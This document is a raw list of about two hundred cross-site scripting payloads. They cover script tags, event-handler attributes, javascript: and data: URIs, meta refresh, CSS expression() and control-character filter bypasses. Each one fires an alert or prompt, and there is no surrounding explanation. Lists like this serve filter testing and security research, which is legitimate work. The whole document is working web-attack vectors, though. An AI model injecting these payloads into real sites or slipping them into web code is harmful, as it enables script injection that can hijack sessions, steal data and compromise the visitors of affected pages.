<script src="data:text/javascript,alert(1)"></script>
<iframe/onreadystatechange=alert(2)
<svg/onload=alert(3)
<input type="text" value=`` <div/onmouseover='alert(4)'>X
http://www.<script>alert(5)</script .com
<script ?>alert(6)
<img src=xx:xx
onerror=alert(7)>
<body/onload=<!-->
alert(10)>
<script itworksinallbrowsers>/*"> foo="><script>alert(29)</script>"> <script>alert(30)</script>"> foo="><script>alert(31)</script>"> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(32)')()</script> <script src="#">{alert(32)}</script>;1 <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(33)',384,null,'rsa-dual-use')</script> <script>alert(34)</script> <iframe xmlns="#" src="javascript:alert(35)"></iframe> <script>alert(36)</script> 0\"autofocus/onfocus=alert(39)-->"-confirm(41)-" 0\"autofocus/onfocus=alert(42)-->"-confirm(44)-" ipt>alert(45)ipt>ipt>alert(46)ipt> iPt>alert(47)IPt> /**/alert(50)/**/</script /**/ "> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(52)" http-equiv="refresh"> <form><iframe src="javascript:alert(56)" ;> </form> <input type onfocus="alert(57)"> <a href="javascript:void(0)" onmouseover="&NewLine;javascript:alert(58)&NewLine;">X</a> <iframe src="javaSCRIPT&colon;alert(59)"><script>alert(60);</script --> <script src="data:text/javascript,alert(61)"></script> <iframe type="text" value="``">X <a href="http://www.<script>alert(65)</script">http://www.<script>alert(65)</script</a> .com <svg><script ?>alert(66) <p><img src=<code>xx:xx</code>onerror=alert(67)> <meta http-equiv="refresh" content="0;javascript&colon;alert(68)"></p> <script>+-+-1-+-+alert(69)</script> <p><body/onload=<!-->&#10alert(70)></p> <script itworksinallbrowsers>/*<script src alert><script onlypossibleinopera:-)> alert(73) <script x> alert(74) </script 1=2 <div/onmouseover='alert(75)'> style="x:"> <--`<img/src=` onerror=alert(76)> --!> <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(77)" onclick="alert(78)">x</button> <form><button formaction=javascript:alert(79)>CLICKME <script\x20type="text/javascript">javascript:alert(80);</script> <p><script\x3Etype="text/javascript">javascript:alert(81);</script> <script\x0Dtype="text/javascript">javascript:alert(82);</script> <script\x09type="text/javascript">javascript:alert(83);</script> <script\x0Ctype="text/javascript">javascript:alert(84);</script> <script\x2Ftype="text/javascript">javascript:alert(85);</script> <script\x0Atype="text/javascript">javascript:alert(86);</script> '<code>"><\x3Cscript>javascript:alert(87)</script> '</code>"><\x00script>javascript:alert(88)</script> <img src=1 href=1 onerror="javascript:alert(89)"></img> <audio src=1 href=1 onerror="javascript:alert(90)"></audio> <video src=1 href=1 onerror="javascript:alert(91)"></video></p> <body src=1 href=1 onerror="javascript:alert(92)"></body> <image src=1 href=1 onerror="javascript:alert(93)"></image> <object src=1 href=1 onerror="javascript:alert(94)"></object> <script src=1 href=1 onerror="javascript:alert(95)"></script> <svg onResize svg onResize="javascript:javascript:alert(96)"></svg onResize> <title onPropertyChange title onPropertyChange="javascript:javascript:alert(97)"></title onPropertyChange> <iframe onLoad iframe onLoad="javascript:javascript:alert(98)"></iframe onLoad> <body onMouseEnter body onMouseEnter="javascript:javascript:alert(99)"></body onMouseEnter> <body onFocus body onFocus="javascript:javascript:alert(100)"></body onFocus> <frameset onScroll frameset onScroll="javascript:javascript:alert(101)"></frameset onScroll> <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(102)"></script onReadyStateChange> <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp> <body onPropertyChange body onPropertyChange="javascript:javascript:alert(103)"></body onPropertyChange> <svg onLoad svg onLoad="javascript:javascript:alert(104)"></svg onLoad> <body onPageHide body onPageHide="javascript:javascript:alert(105)"></body onPageHide> <body onMouseOver body onMouseOver="javascript:javascript:alert(106)"></body onMouseOver> <body onUnload body onUnload="javascript:javascript:alert(107)"></body onUnload> <body onLoad body onLoad="javascript:javascript:alert(108)"></body onLoad> <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(109)"></bgsound onPropertyChange> <html onMouseLeave html onMouseLeave="javascript:javascript:alert(110)"></html onMouseLeave> <html onMouseWheel html onMouseWheel="javascript:javascript:alert(111)"></html onMouseWheel> <style onLoad style onLoad="javascript:javascript:alert(112)"></style onLoad> <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(113)"></iframe onReadyStateChange> <body onPageShow body onPageShow="javascript:javascript:alert(114)"></body onPageShow> <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(115)"></style onReadyStateChange> <frameset onFocus frameset onFocus="javascript:javascript:alert(116)"></frameset onFocus> <applet onError applet onError="javascript:javascript:alert(117)"></applet onError> <marquee onStart marquee onStart="javascript:javascript:alert(118)"></marquee onStart> <script onLoad script onLoad="javascript:javascript:alert(119)"></script onLoad> <html onMouseOver html onMouseOver="javascript:javascript:alert(120)"></html onMouseOver> <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(121)"></html onMouseEnter> <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(122)"></body onBeforeUnload> <html onMouseDown html onMouseDown="javascript:javascript:alert(123)"></html onMouseDown> <marquee onScroll marquee onScroll="javascript:javascript:alert(124)"></marquee onScroll> <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(125)"></xml onPropertyChange> <frameset onBlur frameset onBlur="javascript:javascript:alert(126)"></frameset onBlur> <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(127)"></applet onReadyStateChange> <svg onUnload svg onUnload="javascript:javascript:alert(128)"></svg onUnload> <html onMouseOut html onMouseOut="javascript:javascript:alert(129)"></html onMouseOut> <body onMouseMove body onMouseMove="javascript:javascript:alert(130)"></body onMouseMove> <body onResize body onResize="javascript:javascript:alert(131)"></body onResize> <object onError object onError="javascript:javascript:alert(132)"></object onError> <body onPopState body onPopState="javascript:javascript:alert(133)"></body onPopState> <html onMouseMove html onMouseMove="javascript:javascript:alert(134)"></html onMouseMove> <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(135)"></applet onreadystatechange> <body onpagehide body onpagehide="javascript:javascript:alert(136)"></body onpagehide> <svg onunload svg onunload="javascript:javascript:alert(137)"></svg onunload> <applet onerror applet onerror="javascript:javascript:alert(138)"></applet onerror> <body onkeyup body onkeyup="javascript:javascript:alert(139)"></body onkeyup> <body onunload body onunload="javascript:javascript:alert(140)"></body onunload> <iframe onload iframe onload="javascript:javascript:alert(141)"></iframe onload> <body onload body onload="javascript:javascript:alert(142)"></body onload> <html onmouseover html onmouseover="javascript:javascript:alert(143)"></html onmouseover> <object onbeforeload object onbeforeload="javascript:javascript:alert(144)"></object onbeforeload> <body onbeforeunload body onbeforeunload="javascript:javascript:alert(145)"></body onbeforeunload> <body onfocus body onfocus="javascript:javascript:alert(146)"></body onfocus> <body onkeydown body onkeydown="javascript:javascript:alert(147)"></body onkeydown> <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(148)"></iframe onbeforeload> <iframe src iframe src="javascript:javascript:alert(149)"></iframe src> <svg onload svg onload="javascript:javascript:alert(150)"></svg onload> <html onmousemove html onmousemove="javascript:javascript:alert(151)"></html onmousemove> <body onblur body onblur="javascript:javascript:alert(152)"></body onblur> \x3Cscript>javascript:alert(153)</script> '"`><script>/* *\x2Fjavascript:alert(154)// */</script> <script>javascript:alert(155)</script>javascript:alert(156)javascript:alert(157)javascript:alert(158)</script> <!--\x3E<img src=xxx:x onerror=javascript:alert(159)> --> --><!-- ---> <img src="xxx:x" onerror="javascript:alert(160)"> --> --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(161)> --> --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(162)> --> --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(163)> --> `"'><img src='#\x27%20onerror=javascript:alert(164)>%0A<a%20href="javascript\x3Ajavascript:alert(165)"%20id="fuzzelement1">test</a>%0A"'><p><svg><script>a='hello\x27;javascript:alert(166)//';</script></svg></p> <a href="javas\x00cript:javascript:alert(167)" id="fuzzelement1">test</a> <a href="javas\x07cript:javascript:alert(168)" id="fuzzelement1">test</a> <a href="javas\x0Dcript:javascript:alert(169)" id="fuzzelement1">test</a> <a href="javas\x0Acript:javascript:alert(170)" id="fuzzelement1">test</a> <a href="javas\x08cript:javascript:alert(171)" id="fuzzelement1">test</a> <a href="javas\x02cript:javascript:alert(172)" id="fuzzelement1">test</a> <a href="javas\x03cript:javascript:alert(173)" id="fuzzelement1">test</a> <a href="javas\x04cript:javascript:alert(174)" id="fuzzelement1">test</a> <a href="javas\x01cript:javascript:alert(175)" id="fuzzelement1">test</a> <a href="javas\x05cript:javascript:alert(176)" id="fuzzelement1">test</a> <a href="javas\x0Bcript:javascript:alert(177)" id="fuzzelement1">test</a> <a href="javas\x09cript:javascript:alert(178)" id="fuzzelement1">test</a> <a href="javas\x06cript:javascript:alert(179)" id="fuzzelement1">test</a> <a href="javas\x0Ccript:javascript:alert(180)" id="fuzzelement1">test</a> <script>/* *\x2A/javascript:alert(181)// */</script> <script>/* *\x00/javascript:alert(182)// */</script> <style></style> <style></style> <style></style> <style></style> <style></style> "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(188);/*';">DEF "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(189);/*';">DEF <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(190);}</script> <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(191);}</script> <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(192);}</script> '`"><\x3Cscript>javascript:alert(193)</script> '`"><\x00script>javascript:alert(194)</script> "'`><\x3Cimg src=xxx:x onerror=javascript:alert(195)> "'`><\x00img src=xxx:x onerror=javascript:alert(196)> <script src="data:text/plain\x2Cjavascript:alert(197)"></script> <script src="data:\xD4\x8F,javascript:alert(198)"></script> <script src="data:\xE0\xA4\x98,javascript:alert(199)"></script> <script src="data:\xCB\x8F,javascript:alert(200)"></script> <script>javascript:alert(201);</script> <script\x3Etype="text/javascript">javascript:alert(202);</script> <script\x0Dtype="text/javascript">javascript:alert(203);</script> <script\x09type="text/javascript">javascript:alert(204);</script> <script\x0Ctype="text/javascript">javascript:alert(205);</script> <script\x2Ftype="text/javascript">javascript:alert(206);</script> <script\x0Atype="text/javascript">javascript:alert(207);</script> ABC<div style="x\x3Aexpression(javascript:alert(208)">DEF </script> </div> </div></svg>